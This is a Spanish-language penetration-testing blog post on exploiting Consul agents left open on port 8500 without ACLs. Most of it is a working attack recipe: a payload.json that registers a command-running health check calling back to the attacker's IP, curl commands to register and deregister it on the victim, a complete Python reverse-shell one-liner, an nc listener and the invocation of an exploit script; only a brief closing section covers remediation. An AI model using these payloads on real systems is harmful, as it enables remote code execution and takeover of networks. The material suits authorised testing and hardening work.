2 minuto(s) de lectura

Durante un test de penetración, uno de los objetivos más importantes son los equipos y programas de monitorización y configuración. Tomar el control de estos normalmente implica poder tener acceso a toda la red. En esta entrada veremos como una configuración incorrecta nos puede permitir explotar Consul para ejecutar código en los equipos que estén ejecutando el agente.

Consul es una herramienta para el descubrimiento y configuración de servicios. Entre otras funcionalidades permite el descubrimiento de servicios, alertas sobre la salud de los clusters, almacenamiento de configuraciones dinámicas etc…

La funcionalidad que explotaremos en este caso es la de alertas del cluster. Los agentes de consul permiten crear checks de salud mediante la API. Estos checks pueden ser de diferentes tipos, incluso pueden permitir la ejecución de scripts.

Verificando la ejecución de comandos

Por defecto, los agentes de consul escuchan en el puerto 8500 y permiten peticiones HTTP. Durante un pentest, si descubrimos un puerto 8500 abierto será importante verificar si se trata de la API de consul. Para esto,  podemos realizar un simple: curl ip:8500 y la respuesta será Consul Agent.

Si realmente es un Consul Agent podemos utilizar la función de checks para ejecutar código.  Podemos hacer una prueba creando un fichero con el siguiente contenido llamado payload.json:

{
"ID": "command",
"Name": "id",
"Args": ["curl", "IP_PROPIA"],
"Shell": "/bin/bash",
"Interval": "5s"
}

y ejecutando el siguiente curl para crear el check:

curl --request PUT --data @payload.json http://IP_VICTIMA:8500/v1/agent/check/register

Levantamos un servidor web con python y si funciona recibiremos una petición web del servidor en nuestra IP:

Si queremos desregistrar el check podemos utilizar:

curl --request PUT http://IP_VICTIMA:8500/v1/agent/check/deregister/command

Explotar consul y obtener una reverse shell

Si la ejecución de comandos funciona. El próximo paso puede ser explotar Consul para obtener una shell remota, para esto podemos utilizar python ejecutando:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Para facilitar la explotación podéis utilizar el siguiente script: exploit-consul que podéis encontrar también en nuestra sección de herramientas.

Para obtener una reverse shell primero utilizaremos el comando nc -lvp 4567 para esperar una conexión en el puerto 4567.

Tras esto ejecutamos el script indicando la URL, nuestra IP y el puerto de escucha de nc:

python consul_exploit.py --url http://IP_VICTIMA:8500 --ip IP_PROPIA --port 4567

exploit consul

Al cabo de unos segundos recibiremos la reverse shell:

exploit consul

Remediación

Consul no opera en una configuración segura por defecto por lo que las diferentes configuraciones de seguridad deben ser activadas.

Consul se debe configurar para usar ACLs con listas blancas para así solo permitir accesos mediante tokens válidos. Además se debe habilitar la opción de cifrado de tráfico para evitar que las peticiones se envíen en texto plano.